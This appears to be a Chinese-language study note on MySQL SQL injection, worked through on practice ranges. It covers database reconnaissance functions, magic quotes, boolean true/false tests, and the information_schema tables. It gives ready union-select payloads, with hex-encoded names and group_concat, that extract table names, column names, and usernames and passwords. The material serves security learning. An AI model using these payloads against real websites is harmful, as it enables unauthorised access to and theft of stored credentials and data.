show databases; 显示数据库,不同的数据库对应不同的网站
use 数据库名; 使用这个数据库
show tables; 显示表名
select * from 表名; 在该表中查询,得到列和数据,*代表所有
desc 表名; 显示这张表的结构
结构
数据库A---→网站A---→数据库用户A
表名
列名
数据
数据库B---→网站B---→数据库用户B
表名
列名
数据
数据库C---→网站C---→数据库用户C
表名
列名
数据
一步一步注入,不能直接注入得到数据
get 一个参数id=1
当开启魔术引号时数据库执行语句:
select * from user where id=1\'
没有开魔术引号数据库执行语句:
select * from user where id=1'
也就是说魔术引号会自动地在单引号前添加一个反斜杠在数据库执行语句中
老方法:
and 1=1 页面返回正常
and 1=2 页面错误
select * from users where id=1 limit 0,1
select * from users where id=1 and 1=1 limit 0,1 正常
select * from users where id=1 and 1=2 limit 0,1 错误
逻辑运算符
与 或 非 异或
可能存在注入点,要选用最舒服的方法,参数随便赋值也可
数据库版本:version()
数据库名:database()
数据库用户:user()
操作系统:@@version_compile_os
数据库路径:@@datadir
同数据库注入
低版本(5.0以下)
暴力查询或结合读取查询
高版本
information_schema有据查询
在MySQL5.0以上版本中,MySQL存在一个自带数据库名为information_schema,它是一个存储记录有所有数据库名、表名、列名的数据库,也相当于可以通过查询它来获取指定数据库下面的表名或列名信息
数据库中符号.
表示下一级,如user.pass表示user数据库下面的pass表名
information_schema:MySQL默认表,记录所有信息,包括库、表、列
information_schema.tables:记录所有表名信息的表
information_schema.columns:记录所有列名信息的表
information_schema.schemata:记录所有数据库名信息的表
table_name:表名
column_name:列名
table_schema:数据库名
判断注入
猜解列字段(数量),爆字段。
联合查询。and 1=2 union select
数据库名:hackyl
数据库版本:5.0.51b-community-nt-log
数据库用户:root@localhost
操作系统:Win32
数据库版本大于5.0,存在information_schema库
union select 1,table_name,3,4,5 from information_schema.tables where table_schema='hackyl'
解决方法:转码
将数据库hackyl
转十六进制后就不需要单引号了
由于靶场简陋,查到了两个表。但是实际网站中可能要用参数group_concat(table_name)
,显示全部数据,否则只会显示第一个数据
union select 1,group_concat(table_name),3,4,5 from information_schema.tables where table_schema=0x6861636b796c
或者在语句结尾使用limit函数筛选,limit(1,1)
union select 1,group_concat(column_name),3,4,5 from information_schema.columns where table_name=0x75736572
此处表名user已转码
有时网页可能做过限制只显示前几个数据,可以查看源代码
union select 1,group_concat(username),group_concat(password),4,5 from user
猜解多个数据用limit x,1
order by 4
用id=-1或者id=1 and 1=2使网页报错
数据库版本:5.7.22-0ubuntu0.16.04.1
数据库名:mozhe_Discuz_StormGroup
数据库用户:root@localhost
操作系统:Linux
数据库版本大于5.0,存在information_schema库
union select 1,table_name,3,4 from information_schema.tables where table_schema='mozhe_Discuz_StormGroup'
得到一个表名
查询所有表
union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema='mozhe_Discuz_StormGroup'
md5加密